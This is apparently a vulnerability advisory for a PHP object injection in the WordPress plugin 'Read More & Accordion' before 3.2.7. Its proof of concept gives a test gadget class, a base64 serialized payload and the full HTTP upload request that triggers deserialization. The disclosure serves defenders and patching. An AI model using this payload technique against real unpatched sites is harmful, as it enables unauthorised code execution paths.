Read More & Accordion < 3.2.7 - Admin+ PHP Object Injection

Proof of Concept

To simulate a gadget chain, put the following code in a plugin:

class Evil {
  public function __wakeup() : void {
    die("Arbitrary deserialization");
  }
}

Then create a file named "base64_payload.txt" with the following content: `Tzo0OiJFdmlsIjowOnt9Ow==`

And import the file via the "Import" feature in the "Add New" section of the plugin.

Intercept and view the next ajax request made, which will have the "Arbitrary deserialization" message demonstrating the issue.

```
POST /wp/wp-admin/async-upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp/wp-admin/admin.php?page=readMore
Content-Type: multipart/form-data; boundary=---------------------------2212382545836040604482737484
Content-Length: 633
Origin: http://localhost
Connection: close
Cookie: [admin+]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------2212382545836040604482737484
Content-Disposition: form-data; name="name"

base64_payload.txt
-----------------------------2212382545836040604482737484
Content-Disposition: form-data; name="action"

upload-attachment
-----------------------------2212382545836040604482737484
Content-Disposition: form-data; name="_wpnonce"

16e174df64
-----------------------------2212382545836040604482737484
Content-Disposition: form-data; name="async-upload"; filename="base64_payload.txt"
Content-Type: text/plain

Tzo0OiJFdmlsIjowOnt9Ow==
-----------------------------2212382545836040604482737484--
```